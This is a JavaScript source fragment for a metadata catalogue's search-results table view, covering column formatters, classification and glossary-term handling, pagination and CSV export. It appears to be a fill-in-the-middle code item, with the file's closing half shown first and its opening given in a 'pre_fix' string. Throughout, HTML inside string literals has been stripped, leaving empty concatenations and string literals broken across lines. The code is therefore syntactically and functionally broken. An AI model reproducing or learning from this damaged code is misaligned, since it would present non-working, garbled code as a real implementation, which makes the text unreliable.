{\n _.map(params.searchParameters.attributes, function(attr) {\n for (var key in params.attributeLabelMap) {\n if (params.attributeLabelMap[key] !== attr) {\n delete params.attributeLabelMap[key];\n }\n }\n });\n } else {\n params.attributeLabelMap = {};\n }\n },\n generateBusinessMetadataAttrList: function() {\n var def = this.entityDefCollection.fullCollection.find({\n name: this.value.type,\n }),\n businessAttributeDefs,\n that = this;\n businessAttributeDefs = def ? def.get('businessAttributeDefs') : null;\n if (businessAttributeDefs) {\n _.each(\n businessAttributeDefs,\n function(businessMetadata, businessMetadataName) {\n _.each(businessMetadata, function(attr, index) {\n that.businessMetadataAttributes.push({\n name: businessMetadataName + '.' + attr.name,\n type: attr.typeName\n });\n });\n }\n );\n }\n },\n checkIsEditorValue: function(key) {\n var isEditorKey = false;\n if (this.businessMetadataAttributes.length) {\n _.each(this.businessMetadataAttributes, function(attr) {\n if (attr.name === key && attr.type === \"string\") {\n isEditorKey = true;\n return;\n };\n });\n }\n return isEditorKey;\n },\n getColumnOrder: function(arr) {\n var obj = {};\n for (var i = 0; i < arr.length; ++i) {\n var innerText = arr[i].innerText.trim();\n obj[(innerText == \"\" ? 'Select' : innerText)] = i;\n }\n return obj;\n },\n checkTableFetch: function() {\n if (this.asyncFetchCounter <= 0) {\n this.hideLoader();\n Utils.generatePopover({\n el: this.$('[data-id=\"showMoreLess\"]'),\n contentClass: 'popover-tag-term',\n viewFixedPopover: true,\n popoverOptions: {\n container: null,\n content: function() {\n return $(this).find('.popup-tag-term').children().clone();\n }\n }\n });\n }\n },\n getFixedDslColumn: function() {\n var that = this,\n nameCheck = 0,\n columnToShow = null,\n col = {};\n this.value = this.fromView === \"glossary\" ? this.value : Utils.getUrlState.getQueryParams() || this.value;\n if (this.value && this.value.searchType === \"basic\" && this.searchTableColumns && (this.searchTableColumns[this.value.type || this.value.tag] !== undefined)) {\n columnToShow = this.searchTableColumns[this.value.type || this.value.tag] == null ? [] : this.searchTableColumns[this.value.type || this.value.tag];\n }\n col['Check'] = {\n name: \"selected\",\n label: \"Select\",\n cell: \"select-row\",\n resizeable: false,\n orderable: false,\n renderable: (columnToShow ? _.includes(columnToShow, 'selected') : true),\n headerCell: \"select-all\"\n };\n\n\n col['name'] = {\n label: this.value && this.profileDBView ? \"Table Name\" : \"Name\",\n cell: \"html\",\n editable: false,\n resizeable: true,\n orderable: false,\n renderable: true,\n sortable: true,\n className: \"searchTableName\",\n formatter: _.extend({}, Backgrid.CellFormatter.prototype, {\n fromRaw: function(rawValue, model) {\n var obj = model.toJSON(),\n nameHtml = \"\",\n name = Utils.getName(obj);\n if (!obj.attributes || obj.attributes.serviceType === undefined) {\n if (Globals.serviceTypeMap[obj.typeName] === undefined && that.entityDefCollection) {\n var defObj = that.entityDefCollection.fullCollection.find({ name: obj.typeName });\n if (defObj) {\n Globals.serviceTypeMap[obj.typeName] = defObj.get('serviceType');\n }\n }\n } else if (Globals.serviceTypeMap[obj.typeName] === undefined) {\n Globals.serviceTypeMap[obj.typeName] = obj.attributes ? obj.attributes.serviceType : null;\n }\n obj.serviceType = Globals.serviceTypeMap[obj.typeName];\n if (obj.guid) {\n if (obj.guid == \"-1\") {\n nameHtml = '' + name + '';\n } else {\n nameHtml = '' + name + '';\n }\n } else {\n nameHtml = '' + name + '';\n }\n if (obj.status && Enums.entityStateReadOnly[obj.status]) {\n nameHtml += '';\n nameHtml = '
    ' + nameHtml + '
    ';\n }\n var getImageData = function(options) {\n var imagePath = options.imagePath,\n returnImgUrl = null;\n that.checkEntityImage[model.get('guid')] = false;\n $.ajax({\n \"url\": imagePath,\n \"method\": \"get\",\n \"cache\": true\n })\n .always(function(data, status, xhr) {\n if (data.status == 404) {\n returnImgUrl = getImageData({\n \"imagePath\": Utils.getEntityIconPath({ entityData: obj, errorUrl: imagePath })\n });\n } else if (data) {\n that.checkEntityImage[model.get('guid')] = imagePath;\n returnImgUrl = imagePath;\n that.$(\"img[data-imgGuid='\" + obj.guid + \"']\").removeClass(\"searchTableLogoLoader\").attr(\"src\", imagePath);\n }\n });\n }\n var img = \"\";\n img = \"
    \";\n if (that.checkEntityImage[model.get('guid')] == undefined) {\n getImageData({ imagePath: Utils.getEntityIconPath({ entityData: obj }) });\n } else {\n if (that.checkEntityImage[model.get('guid')] != false) {\n img = \"
    \";\n }\n }\n return (img + nameHtml);\n }\n })\n };\n\n col['owner'] = {\n label: \"Owner\",\n cell: \"String\",\n editable: false,\n resizeable: true,\n orderable: true,\n renderable: true,\n sortable: true,\n formatter: _.extend({}, Backgrid.CellFormatter.prototype, {\n fromRaw: function(rawValue, model) {\n var obj = model.toJSON();\n if (obj && obj.attributes && obj.attributes.owner) {\n return obj.attributes.owner;\n }\n }\n })\n };\n if (this.value && this.profileDBView) {\n col['createTime'] = {\n label: \"Date Created\",\n cell: \"Html\",\n editable: false,\n sortable: true,\n formatter: _.extend({}, Backgrid.CellFormatter.prototype, {\n fromRaw: function(rawValue, model) {\n var obj = model.toJSON();\n if (obj && obj.attributes && obj.attributes.createTime) {\n return Utils.formatDate({ date: obj.attributes.createTime });\n } else {\n return '-'\n }\n }\n })\n }\n }\n if (this.value && !this.profileDBView) {\n col['description'] = {\n label: \"Description\",\n cell: \"String\",\n editable: false,\n resizeable: true,\n orderable: true,\n renderable: true,\n sortable: true,\n formatter: _.extend({}, Backgrid.CellFormatter.prototype, {\n fromRaw: function(rawValue, model) {\n var obj = model.toJSON();\n if (obj && obj.attributes && obj.attributes.description) {\n return obj.attributes.description;\n }\n }\n })\n };\n\n\n col['typeName'] = {\n label: \"Type\",\n cell: \"Html\",\n editable: false,\n resizeable: true,\n orderable: true,\n sortable: true,\n renderable: (columnToShow ? _.includes(columnToShow, 'typeName') : true),\n formatter: _.extend({}, Backgrid.CellFormatter.prototype, {\n fromRaw: function(rawValue, model) {\n var obj = model.toJSON();\n if (obj && obj.typeName) {\n return '' + obj.typeName + '';\n }\n }\n })\n };\n this.getTagCol({ 'col': col, 'columnToShow': columnToShow });\n if ((!_.includes([\"glossary\"], this.fromView))) {\n this.getTermCol({ 'col': col, 'columnToShow': columnToShow });\n }\n\n if (this.value && this.value.searchType === \"basic\") {\n var def = this.entityDefCollection.fullCollection.find({ name: this.value.type }),\n systemAttr = [],\n businessMetadataAttr = [],\n businessAttributes = {};\n if (this.value.type == \"_ALL_ENTITY_TYPES\") {\n this.businessMetadataDefCollection.each(function(model) {\n var sortedAttributes = model.get('attributeDefs') || null,\n name = model.get('name');\n if (sortedAttributes) {\n sortedAttributes = _.sortBy(sortedAttributes, function(obj) {\n return obj.name;\n });\n businessAttributes[name] = $.extend(true, {}, sortedAttributes);\n }\n })\n } else {\n businessAttributes = def ? ($.extend(true, {}, def.get('businessAttributeDefs')) || null) : null;\n }\n if (def || Globals[this.value.type] || (\n this.value.tag ?\n Globals[this.value.tag] ?\n Globals[this.value.tag] :\n Globals[Enums.addOnClassification[0]] :\n undefined)) {\n var attrObj = def ? Utils.getNestedSuperTypeObj({ data: def.toJSON(), collection: this.entityDefCollection, attrMerge: true }) : [];\n if (this.value.type && (Globals[this.value.type] || Globals[Enums.addOnEntities[0]])) {\n systemAttr = (Globals[this.value.type] || Globals[Enums.addOnEntities[0]]).attributeDefs;\n }\n if (this.value.tag && (Globals[this.value.tag] || Globals[Enums.addOnClassification[0]])) {\n systemAttr = (Globals[this.value.tag] || Globals[Enums.addOnClassification[0]]).attributeDefs;\n }\n attrObj = attrObj.concat(systemAttr);\n if (businessAttributes) {\n _.each(businessAttributes, function(businessMetadata, businessMetadataName) {\n _.each(businessMetadata, function(attr, index) {\n var attribute = attr;\n attribute.isBusinessAttributes = true;\n attribute.name = businessMetadataName + '.' + attribute.name;\n businessMetadataAttr.push(attribute);\n })\n })\n }\n attrObj = attrObj.concat(businessMetadataAttr);\n _.each(attrObj, function(obj, key) {\n var key = obj.name,\n isRenderable = _.includes(columnToShow, key),\n // isSortable = obj.typeName.search(/(array|map)/i) == -1, // commented : as sorting is required for all the columns except classifications and terms\n isSortable = obj.typeName.search(/(string|date|boolean|int|number|byte|float|long|double|short)/i) == 0, // commented : as sorting is required for all the columns except non-primitive types\n columnLabel;\n if (key == \"name\" || key == \"description\" || key == \"owner\") {\n if (columnToShow) {\n col[key].renderable = isRenderable;\n }\n return;\n }\n if (key == \"__historicalGuids\" || key == \"__classificationsText\" || key == \"__classificationNames\" || key == \"__propagatedClassificationNames\") {\n return;\n }\n columnLabel = Enums.systemAttributes[obj.name] ? Enums.systemAttributes[obj.name] : (_.escape(obj.isBusinessAttributes ? obj.name : obj.name.capitalize()));\n that.tableColumnsLabelMap[columnLabel] = obj.name;\n col[obj.name] = {\n label: columnLabel,\n cell: \"Html\",\n // headerCell: Backgrid.HeaderHTMLDecodeCell,\n editable: false,\n resizeable: true,\n orderable: true,\n sortable: isSortable,\n renderable: isRenderable,\n headerClassName: obj.isBusinessAttributes ? \"no-capitalize\" : \"\",\n formatter: _.extend({}, Backgrid.CellFormatter.prototype, {\n fromRaw: function(rawValue, model) {\n var modelObj = model.toJSON();\n if (modelObj && modelObj.attributes && !_.isUndefined(modelObj.attributes[key])) {\n var tempObj = {\n 'scope': that,\n 'attributeDefs': [obj],\n 'valueObject': {},\n 'isTable': false\n };\n if (key == \"__labels\") {\n var values = modelObj.attributes[key] ? modelObj.attributes[key].split(\"|\") : null,\n valueOfArray = [];\n if (values) {\n if (values[values.length - 1] === \"\") { values.pop(); }\n if (values[0] === \"\") { values.shift(); }\n _.each(values, function(names) {\n valueOfArray.push('' + _.escape(names) + '');\n });\n return valueOfArray.join(' ');\n }\n }\n if (key == \"__customAttributes\") {\n var customAttributes = modelObj.attributes[key] ? JSON.parse(modelObj.attributes[key]) : null,\n valueOfArray = [];\n if (customAttributes) {\n _.each(Object.keys(customAttributes), function(value, index) {\n valueOfArray.push('' + _.escape(value) + ' : ' + _.escape(Object.values(customAttributes)[index]) + '');\n });\n return valueOfArray.join(' ');\n }\n }\n tempObj.valueObject[key] = modelObj.attributes[key];\n tempObj['isEditorValue'] = that.checkIsEditorValue(key);\n var tablecolumn = CommonViewFunction.propertyTable(tempObj);\n if (_.isArray(modelObj.attributes[key])) {\n var column = $(\"
    \" + tablecolumn + \"
    \")\n if (tempObj.valueObject[key].length > 2) {\n column.addClass(\"toggleList semi-collapsed\").append(\"Show More\");\n }\n return column;\n }\n return tablecolumn;\n }\n }\n })\n };\n });\n }\n }\n }\n return this.searchCollection.constructor.getTableCols(col, this.searchCollection);\n },\n onClickLoadMore: function() {\n var that = this;\n this.$el.on('click', \"[data-id='load-more-columns']\", function(event) {\n event.stopPropagation();\n event.stopImmediatePropagation();\n var $this = $(this),\n $toggleList = $(this).parents('.toggleList');\n if ($toggleList.length) {\n if ($toggleList.hasClass('semi-collapsed')) {\n $toggleList.removeClass('semi-collapsed');\n $this.text(\"Show Less\");\n } else {\n $toggleList.addClass('semi-collapsed');\n $this.text(\"Show More\");\n }\n }\n });\n },\n getDaynamicColumns: function(valueObj) {\n var that = this,\n col = {};\n if (valueObj && valueObj.length) {\n var firstObj = _.first(valueObj);\n _.each(_.keys(firstObj), function(key) {\n col[key] = {\n label: key.capitalize(),\n cell: \"Html\",\n editable: false,\n resizeable: true,\n orderable: true,\n formatter: _.extend({}, Backgrid.CellFormatter.prototype, {\n fromRaw: function(rawValue, model) {\n var modelObj = model.toJSON();\n if (key == \"name\") {\n var nameHtml = \"\",\n name = _.escape(modelObj[key]);\n if (modelObj.guid) {\n nameHtml = '' + name + '';\n } else {\n nameHtml = '' + name + '';\n }\n if (modelObj.status && Enums.entityStateReadOnly[modelObj.status]) {\n nameHtml += '';\n return '
    ' + nameHtml + '
    ';\n }\n return nameHtml;\n } else if (modelObj && !_.isUndefined(modelObj[key])) {\n var tempObj = {\n 'scope': that,\n // 'attributeDefs':\n 'valueObject': {},\n 'isTable': false\n };\n tempObj['isEditorValue'] = that.checkIsEditorValue(key);\n tempObj.valueObject[key] = modelObj[key];\n return CommonViewFunction.propertyTable(tempObj);\n }\n }\n })\n };\n });\n }\n return this.searchCollection.constructor.getTableCols(col, this.searchCollection);\n },\n getTagCol: function(options) {\n var that = this,\n columnToShow = options.columnToShow,\n col = options.col;\n if (col) {\n col['tag'] = {\n label: \"Classifications\",\n cell: \"Html\",\n editable: false,\n sortable: false,\n resizeable: true,\n orderable: true,\n renderable: (columnToShow ? _.includes(columnToShow, 'tag') : true),\n className: 'searchTag',\n formatter: _.extend({}, Backgrid.CellFormatter.prototype, {\n fromRaw: function(rawValue, model) {\n var obj = model.toJSON();\n if (obj.guid == \"-1\") {\n return\n }\n if (obj.status && Enums.entityStateReadOnly[obj.status]) {\n return '
    ' + CommonViewFunction.tagForTable(obj, that.classificationDefCollection); + '
    ';\n } else {\n return CommonViewFunction.tagForTable(obj, that.classificationDefCollection);\n }\n\n }\n })\n };\n }\n },\n getTermCol: function(options) {\n var that = this,\n columnToShow = options.columnToShow,\n col = options.col;\n if (col) {\n col['term'] = {\n label: \"Term\",\n cell: \"Html\",\n editable: false,\n sortable: false,\n resizeable: true,\n orderable: true,\n renderable: (columnToShow ? _.includes(columnToShow, 'term') : true),\n className: 'searchTag',\n formatter: _.extend({}, Backgrid.CellFormatter.prototype, {\n fromRaw: function(rawValue, model) {\n var obj = model.toJSON();\n if (obj.guid == \"-1\") {\n return\n }\n if (obj.typeName && !(_.startsWith(obj.typeName, \"AtlasGlossary\"))) {\n if (obj.status && Enums.entityStateReadOnly[obj.status]) {\n return '
    ' + CommonViewFunction.termForTable(obj); + '
    ';\n } else {\n return CommonViewFunction.termForTable(obj);\n }\n }\n }\n })\n };\n }\n },\n addTagModalView: function(guid, multiple, entityCount) {\n var that = this;\n require(['views/tag/AddTagModalView'], function(AddTagModalView) {\n var view = new AddTagModalView({\n guid: guid,\n multiple: multiple,\n entityCount: entityCount,\n callback: function() {\n that.multiSelectEntity = [];\n that.fetchCollection();\n if (that.searchVent) {\n that.searchVent.trigger('entityList:refresh');\n }\n },\n tagList: that.getTagList(guid, multiple),\n showLoader: that.showLoader.bind(that),\n hideLoader: that.hideLoader.bind(that),\n collection: that.classificationDefCollection,\n enumDefCollection: that.enumDefCollection\n });\n });\n },\n getTagList: function(guid, multiple) {\n var that = this;\n if (!multiple || multiple.length === 0) {\n var model = this.searchCollection.find(function(item) {\n var obj = item.toJSON();\n if (obj.guid === guid) {\n return true;\n }\n });\n if (model) {\n var obj = model.toJSON();\n } else {\n return [];\n }\n return _.compact(_.map(obj.classifications, function(val) {\n if (val.entityGuid == guid) {\n return val.typeName\n }\n }));\n } else {\n return [];\n }\n },\n showLoader: function() {\n this.$('.fontLoader:not(.for-ignore)').addClass('show');\n this.$('.tableOverlay').addClass('show');\n },\n hideLoader: function(options) {\n this.$('.fontLoader:not(.for-ignore)').removeClass('show');\n options && options.type === 'error' ? this.$('.ellipsis-with-margin,.pagination-box').hide() : this.$('.ellipsis-with-margin,.pagination-box').show(); // only show for first time and hide when type is error\n this.$('.tableOverlay').removeClass('show');\n },\n onClickAddTag: function(e) {\n var guid = \"\",\n that = this,\n isTagMultiSelect = $(e.currentTarget).hasClass('multiSelectTag');\n if (isTagMultiSelect && this.multiSelectEntity && this.multiSelectEntity.length) {\n that.addTagModalView(guid, this.multiSelectEntity, this.activeEntityCountSelected);\n } else {\n guid = that.$(e.currentTarget).data(\"guid\");\n that.addTagModalView(guid);\n }\n },\n //This function checks for the lenght of Available terms and modal for adding terms is displayed accordingly.\n assignTermModalView: function(glossaryCollection, obj) {\n var that = this,\n terms = 0;\n _.each(glossaryCollection.fullCollection.models, function(model) {\n if (model.get('terms')) {\n terms += model.get('terms').length;\n };\n });\n if (terms) {\n require(['views/glossary/AssignTermLayoutView'], function(AssignTermLayoutView) {\n var view = new AssignTermLayoutView({\n guid: obj.guid,\n multiple: obj.multiple,\n associatedTerms: obj.associatedTerms,\n callback: function() {\n that.multiSelectEntity = [];\n that.fetchCollection();\n },\n glossaryCollection: glossaryCollection,\n });\n });\n } else {\n Utils.notifyInfo({\n content: \"There are no available terms\"\n });\n }\n },\n onClickAddTermBtn: function(e) {\n var that = this,\n guid = \"\",\n entityGuid = $(e.currentTarget).data(\"guid\"),\n obj = {\n guid: entityGuid,\n multiple: undefined,\n associatedTerms: undefined,\n },\n isTermMultiSelect = $(e.currentTarget).hasClass('multiSelectTerm');\n\n that.assignTermModalView(this.glossaryCollection, obj);\n if (isTermMultiSelect && this.multiSelectEntity && this.multiSelectEntity.length) {\n obj.multiple = this.multiSelectEntity;\n } else if (entityGuid) {\n obj.associatedTerms = this.searchCollection.find({ guid: entityGuid }).get('meanings');\n }\n },\n onClickTagCross: function(e) {\n var that = this,\n tagName = $(e.target).data(\"name\"),\n guid = $(e.target).data(\"guid\"),\n entityGuid = $(e.target).data(\"entityguid\"),\n assetName = $(e.target).data(\"assetname\");\n CommonViewFunction.deleteTag({\n tagName: tagName,\n guid: guid,\n associatedGuid: guid != entityGuid ? entityGuid : null,\n msg: \"
    Remove: \" + \"\" + _.escape(tagName) + \" assignment from \" + _.escape(assetName) + \" ?
    \",\n titleMessage: Messages.removeTag,\n okText: \"Remove\",\n showLoader: that.showLoader.bind(that),\n hideLoader: that.hideLoader.bind(that),\n callback: function() {\n that.fetchCollection();\n if (that.searchVent) {\n that.searchVent.trigger('entityList:refresh');\n }\n }\n });\n\n },\n onClickTermCross: function(e) {\n var $el = $(e.target),\n termGuid = $el.data('termguid'),\n guid = $el.data('guid'),\n termName = $(e.currentTarget).text(),\n assetname = $el.data('assetname'),\n meanings = this.searchCollection.find({ \"guid\": guid }).get(\"meanings\"),\n that = this,\n termObj = _.find(meanings, { termGuid: termGuid });\n CommonViewFunction.removeCategoryTermAssociation({\n termGuid: termGuid,\n model: {\n guid: guid,\n relationshipGuid: termObj.relationGuid\n },\n collection: that.glossaryCollection,\n msg: \"
    Remove: \" + \"\" + _.escape(termName) + \" assignment from \" + _.escape(assetname) + \"?
    \",\n titleMessage: Messages.glossary.removeTermfromEntity,\n isEntityView: true,\n buttonText: \"Remove\",\n callback: function() {\n that.fetchCollection();\n }\n });\n },\n onClicknextData: function() {\n this.offset = this.offset + this.limit;\n _.extend(this.searchCollection.queryParams, {\n offset: this.offset\n });\n if (this.value) {\n this.value.pageOffset = this.offset;\n this.triggerUrl();\n }\n this.fetchCollection(null, {\n next: true\n });\n },\n onClickpreviousData: function() {\n this.offset = this.offset - this.limit;\n if (this.offset <= -1) {\n this.offset = 0;\n }\n _.extend(this.searchCollection.queryParams, {\n offset: this.offset\n });\n if (this.value) {\n this.value.pageOffset = this.offset;\n this.triggerUrl();\n }\n this.fetchCollection(null, {\n previous: true\n });\n },\n onClickCreateEntity: function(e) {\n var that = this;\n $(e.currentTarget).blur();\n require([\n 'views/entity/CreateEntityLayoutView'\n ], function(CreateEntityLayoutView) {\n var view = new CreateEntityLayoutView({\n entityDefCollection: that.entityDefCollection,\n typeHeaders: that.typeHeaders,\n searchVent: that.searchVent,\n callback: function() {\n that.fetchCollection();\n }\n });\n });\n },\n onCheckExcludeIncludeResult: function(e) {\n var flag = false,\n val = $(e.currentTarget).attr('data-value');\n if (e.target.checked) {\n flag = true;\n }\n if (this.value) {\n this.value[val] = flag;\n this.triggerUrl({ mergeBrowserUrl: true });\n }\n _.extend(this.searchCollection.queryParams, { limit: this.limit, offset: this.offset });\n this.fetchCollection();\n\n },\n onDownloadSearchResults: function() {\n this.generateAttributeLabelMap();\n Utils.disableRefreshButton(this.ui.downloadResults, this);\n if (this.value.searchType !== \"basic\") {\n this.downloadSearchResultsParams.searchParameters = {\n \"limit\": this.limit,\n \"offset\": this.offset,\n \"query\": this.value.query || null,\n \"typeName\": this.value.type || null\n };\n delete this.downloadSearchResultsParams.attributeLabelMap;\n }\n var apiObj = {\n sort: false,\n data: this.downloadSearchResultsParams,\n success: function(model, response) {\n Utils.notifySuccess({\n content: \"The current search results have been enqueued for download. You can access the csv file by clicking the large arrow icon at the top of the page.\"\n });\n },\n reset: true,\n complete: function() {},\n error: function(error) {}\n }\n this.downloadSearchResults.startDownloading(apiObj);\n },\n changePageLimit: function(e, obj) {\n if (!obj || (obj && !obj.skipViewChange)) {\n var limit = parseInt(this.ui.showPage.val());\n if (limit == 0) {\n this.ui.showPage.data('select2').$container.addClass('has-error');\n return;\n } else {\n this.ui.showPage.data('select2').$container.removeClass('has-error');\n }\n this.limit = limit;\n this.offset = 0;\n if (this.value) {\n this.value.pageLimit = this.limit;\n this.value.pageOffset = this.offset;\n this.triggerUrl();\n }\n _.extend(this.searchCollection.queryParams, { limit: this.limit, offset: this.offset });\n this.fetchCollection();\n }\n },\n gotoPagebtn: function(e) {\n var that = this;\n var goToPage = parseInt(this.ui.gotoPage.val());\n if (!(_.isNaN(goToPage) || goToPage <= -1)) {\n if (this.finalPage && this.finalPage < goToPage) {\n Utils.notifyInfo({\n html: true,\n content: Messages.search.noRecordForPage + '' + Utils.getNumberSuffix({ number: goToPage, sup: true }) + ' page'\n });\n return;\n }\n this.offset = (goToPage - 1) * this.limit;\n if (this.offset <= -1) {\n this.offset = 0;\n }\n _.extend(this.searchCollection.queryParams, { limit: this.limit, offset: this.offset });\n if (this.offset == (this.pageFrom - 1)) {\n Utils.notifyInfo({\n content: Messages.search.onSamePage\n });\n } else {\n if (this.value) {\n this.value.pageOffset = this.offset;\n this.triggerUrl();\n }\n // this.offset is updated in gotoPagebtn function so use next button calculation.\n this.fetchCollection(null, { 'next': true });\n }\n }\n }\n });\n return SearchResultLayoutView;\n});" pre_fix = "], function(require, Backbone, tableDragger, SearchResultLayoutViewTmpl, Modal, VEntity, Utils, Globals, VSearchList, VCommon, CommonViewFunction, Messages, Enums, UrlLinks, platform, VDownloadList) {\n 'use strict';\n\n var SearchResultLayoutView = Backbone.Marionette.LayoutView.extend(\n /** @lends SearchResultLayoutView */\n {\n _viewName: 'SearchResultLayoutView',\n\n template: SearchResultLayoutViewTmpl,\n\n /** Layout sub regions */\n regions: {\n RTagLayoutView: \"#r_tagLayoutView\",\n RSearchLayoutView: \"#r_searchLayoutView\",\n REntityTableLayoutView: \"#r_searchResultTableLayoutView\",\n RSearchQuery: '#r_searchQuery'\n },\n\n /** ui selector cache */\n ui: {\n tagClick: '[data-id=\"tagClick\"]',\n termClick: '[data-id=\"termClick\"]',\n addTag: '[data-id=\"addTag\"]',\n addTerm: '[data-id=\"addTerm\"]',\n paginationDiv: '[data-id=\"paginationDiv\"]',\n previousData: \"[data-id='previousData']\",\n nextData: \"[data-id='nextData']\",\n pageRecordText: \"[data-id='pageRecordText']\",\n addAssignTag: \"[data-id='addAssignTag']\",\n addAssignTerm: \"[data-id='addAssignTerm']\",\n createEntity: \"[data-id='createEntity']\",\n checkDeletedEntity: \"[data-id='checkDeletedEntity']\",\n checkSubClassification: \"[data-id='checkSubClassification']\",\n checkSubType: \"[data-id='checkSubType']\",\n colManager: \"[data-id='colManager']\",\n containerCheckBox: \"[data-id='containerCheckBox']\",\n columnEmptyInfo: \"[data-id='columnEmptyInfo']\",\n showPage: \"[data-id='showPage']\",\n gotoPage: \"[data-id='gotoPage']\",\n gotoPagebtn: \"[data-id='gotoPagebtn']\",\n activePage: \"[data-id='activePage']\",\n excludeSubtypes: \".exclude-subtypes\",\n excludeSubClassifications: \".exclude-subclassifications\",\n downloadResults: \"[data-id='downloadSearchResult']\"\n },\n templateHelpers: function() {\n return {\n entityCreate: Globals.entityCreate,\n searchType: this.searchType,\n fromView: this.fromView,\n isGlossaryView: this.fromView == \"glossary\",\n isSearchTab: Utils.getUrlState.isSearchTab(),\n isProfileDBView: this.options.profileDBView\n };\n },\n /** ui events hash */\n events: function() {\n var events = {},\n that = this;\n events[\"click \" + this.ui.tagClick] = function(e) {\n var scope = $(e.currentTarget);\n if (e.target.nodeName.toLocaleLowerCase() == \"i\") {\n this.onClickTagCross(e);\n } else {\n this.triggerUrl({\n url: '#!/tag/tagAttribute/' + scope.text().split('@')[0],\n urlParams: null,\n mergeBrowserUrl: false,\n trigger: true,\n updateTabState: null\n });\n }\n };\n events[\"click \" + this.ui.termClick] = function(e) {\n var scope = $(e.currentTarget);\n if (e.target.nodeName.toLocaleLowerCase() == \"i\") {\n this.onClickTermCross(e);\n } else {\n this.triggerUrl({\n url: '#!/glossary/' + scope.find('i').data('termguid'),\n urlParams: { gType: \"term\", viewType: \"term\", fromView: \"entity\" },\n mergeBrowserUrl: false,\n trigger: true,\n updateTabState: null\n });\n }\n };\n events[\"keyup \" + this.ui.gotoPage] = function(e) {\n var code = e.which,\n goToPage = parseInt(e.currentTarget.value);\n if (e.currentTarget.value) {\n that.ui.gotoPagebtn.attr('disabled', false);\n } else {\n that.ui.gotoPagebtn.attr('disabled', true);\n }\n if (code == 13) {\n if (e.currentTarget.value) {\n that.gotoPagebtn();\n }\n }\n };\n events[\"change \" + this.ui.showPage] = 'changePageLimit';\n events[\"click \" + this.ui.gotoPagebtn] = 'gotoPagebtn';\n events[\"click \" + this.ui.addTag] = 'onClickAddTag';\n events[\"click \" + this.ui.addTerm] = 'onClickAddTermBtn';\n events[\"click \" + this.ui.addAssignTag] = 'onClickAddTag';\n events[\"click \" + this.ui.addAssignTerm] = 'onClickAddTermBtn';\n events[\"click \" + this.ui.nextData] = \"onClicknextData\";\n events[\"click \" + this.ui.previousData] = \"onClickpreviousData\";\n events[\"click \" + this.ui.createEntity] = 'onClickCreateEntity';\n events[\"click \" + this.ui.checkDeletedEntity] = 'onCheckExcludeIncludeResult';\n events[\"click \" + this.ui.checkSubClassification] = 'onCheckExcludeIncludeResult';\n events[\"click \" + this.ui.checkSubType] = 'onCheckExcludeIncludeResult';\n events[\"click \" + this.ui.downloadResults] = 'onDownloadSearchResults';\n return events;\n },\n /**\n * intialize a new SearchResultLayoutView Layout\n * @constructs\n */\n initialize: function(options) {\n _.extend(this, _.pick(options, 'value', 'guid', 'initialView', 'isTypeTagNotExists', 'classificationDefCollection', 'entityDefCollection', 'typeHeaders', 'searchVent', 'enumDefCollection', 'tagCollection', 'searchTableColumns', 'isTableDropDisable', 'fromView', 'glossaryCollection', 'termName', 'businessMetadataDefCollection', 'profileDBView', 'exportVent'));\n this.entityModel = new VEntity();\n this.searchCollection = new VSearchList();\n this.downloadSearchResults = new VDownloadList();\n this.limit = 25;\n this.asyncFetchCounter = 0;\n this.offset = 0;\n this.bindEvents();\n this.multiSelectEntity = [];\n this.activeEntityCountSelected = 0;\n this.searchType = 'Basic Search';\n this.tableColumnsLabelMap = {};\n this.downloadSearchResultsParams = {\n searchParameters: {},\n attributeLabelMap: {}\n };\n this.columnOrder = null;\n this.defaultColumns = [\"selected\", \"name\", \"description\", \"typeName\", \"owner\", \"tag\", \"term\"];\n if (this.value) {\n if (this.value.searchType && this.value.searchType == 'dsl') {\n this.searchType = 'Advanced Search';\n }\n if (this.value.pageLimit) {\n var pageLimit = parseInt(this.value.pageLimit, 10);\n if (_.isNaN(pageLimit) || pageLimit == 0 || pageLimit <= -1) {\n this.value.pageLimit = this.limit;\n this.triggerUrl();\n } else {\n this.limit = pageLimit;\n }\n }\n if (this.value.pageOffset) {\n var pageOffset = parseInt(this.value.pageOffset, 10);\n if (_.isNaN(pageOffset) || pageLimit <= -1) {\n this.value.pageOffset = this.offset;\n this.triggerUrl();\n } else {\n this.offset = pageOffset;\n }\n }\n };\n if (platform.name === \"IE\") {\n this.isTableDropDisable = true;\n }\n this.businessMetadataAttributes = [];\n },\n bindEvents: function() {\n var that = this;\n this.onClickLoadMore();\n this.listenTo(this.searchCollection, 'backgrid:selected', function(model, checked) {\n this.multiSelectEntity = [];\n that.activeEntityCountSelected = 0;\n if (checked === true) {\n model.set(\"isEnable\", true);\n } else {\n model.set(\"isEnable\", false);\n }\n this.searchCollection.find(function(item) {\n if (item.get('isEnable')) {\n var obj = item.toJSON();\n if (item.get('status') === 'ACTIVE') {\n that.activeEntityCountSelected++;\n }\n that.multiSelectEntity.push({\n id: obj.guid,\n model: obj\n });\n }\n });\n this.updateMultiSelect();\n });\n this.listenTo(this.searchCollection, \"error\", function(model, response) {\n this.hideLoader({ type: 'error' });\n if (response.readyState === 0) {\n Utils.notifyError({\n content: \"Request aborted\"\n });\n return;\n }\n var responseJSON = response && response.responseJSON ? response.responseJSON : null,\n errorText = (responseJSON && (responseJSON.errorMessage || responseJSON.message || responseJSON.error || responseJSON.msgDesc)) || 'Something went wrong';\n if (errorText) {\n Utils.notifyError({\n content: errorText\n });\n this.$('.searchTable > .well').html('
    ' + _.escape(errorText) + '
    ')\n }\n }, this);\n this.listenTo(this.searchCollection, \"state-changed\", function(state) {\n if (Utils.getUrlState.isSearchTab()) {\n this.updateColumnList(state);\n var excludeDefaultColumn = [];\n if (this.value && this.value.type) {\n excludeDefaultColumn = _.difference(this.searchTableColumns[this.value.type], this.defaultColumns);\n if (this.searchTableColumns[this.value.type] === null) {\n this.ui.columnEmptyInfo.show();\n } else {\n this.ui.columnEmptyInfo.hide();\n }\n }\n this.downloadSearchResultsParams.searchParameters.attributes = excludeDefaultColumn;\n this.validateAttributeLabelMap();\n this.columnOrder = this.getColumnOrder(this.REntityTableLayoutView.$el.find('.colSort th.renderable'));\n this.triggerUrl();\n var attributes = this.searchCollection.filterObj.attributes;\n if ((excludeDefaultColumn && attributes) && (excludeDefaultColumn.length > attributes.length || _.difference(excludeDefaultColumn, attributes).length)) {\n this.fetchCollection(this.value);\n }\n }\n }, this);\n this.listenTo(this.searchVent, \"search:refresh\", function(model, response) {\n this.updateColumnList();\n this.fetchCollection();\n }, this);\n this.listenTo(this.searchCollection, \"backgrid:sorted\", function(model, response) {\n this.checkTableFetch();\n }, this)\n },\n onRender: function() {\n var that = this;\n this.checkEntityImage = {};\n this.commonTableOptions = 